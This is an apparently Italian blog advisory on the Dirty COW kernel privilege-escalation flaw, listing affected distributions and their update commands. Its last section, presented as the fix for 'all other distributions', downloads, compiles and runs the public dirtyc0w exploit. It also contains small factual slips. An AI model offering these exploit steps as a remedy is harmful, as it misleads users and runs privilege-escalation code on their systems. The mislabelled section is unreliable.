Un gravissimo problema di sicurezza è emerso riguardo al kernel Linux delle nostre distribuzioni. 0-day local privilege escalation esistente dal 2005 ( dalla versione kernel 2.6.22+) , legato al sottosistema di memoria del kernel copy-on-write (COW, da qui il nome della pericolosa vulnerabilità) , che permetterebbe ad ogni utente di diventare root in meno di 5 secondi senza lasciare nessuna traccia.
Tra le distribuzioni interessate abbiamo:
- Red Hat Enterprise Linux 7.x
- Red Hat Enterprise Linux 6.x
- Red Hat Enterprise Linux 5.x
- CentOS Linux 7.x
- CentOS Linux 6.x
- CentOS Linux 5.x
- Debian Linux wheezy
- Debian Linux jessie
- Debian Linux stretch
- Debian Linux sid
- Ubuntu Linux codecise (LTS 12.04)
- Ubuntu Linux trusty
- Ubuntu Linux xenial (LTS 16.04)
- Ubuntu Linux yakkety
- Ubuntu Linux vivid/ubuntu-core
- SUSE Linux Enterprise 11 and 12
Come patchare la vulnerabilità?
Possiamo ricompilare manualmente il kernel, oppure aggiornare le nostre distribuzioni mediante i seguenti passi.
Prima di tutto andiamo ad annotarci la nostra versione kernel:
$ uname -a
$ uname -mrs
Ad esempio:
Linux 3.13.0-95-generic x86_64
Per sistemi Debian o Ubuntu based:
$ sudo apt-get update && sudo apt-get upgrade && sudo apt-get dist-upgrade
$ sudo reboot
Per sistemi RHEL / CentOS Linux 5.x/6.x/7.x
$ sudo yum update
$sudo reboot
Per sistemi RHEL / CentOS Linux 4.x
$ sudo up2date -u
$ sudo reboot
Per sistemi Suse Enterprise Linux or Opensuse Linux:
# zypper patch
# reboot
Verifica che la tua versione kernel sia cambiata
$ uname -a
$ uname -r
$ uname -mrs
Per tutte le altre distribuzioni:
$ wget https://raw.githubusercontent.com/dirtycow/dirtycow.github.io/master/dirtyc0w.c
$ sudo -s
# echo this is not a test > foo
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
$ cat foo
Alla prossima!








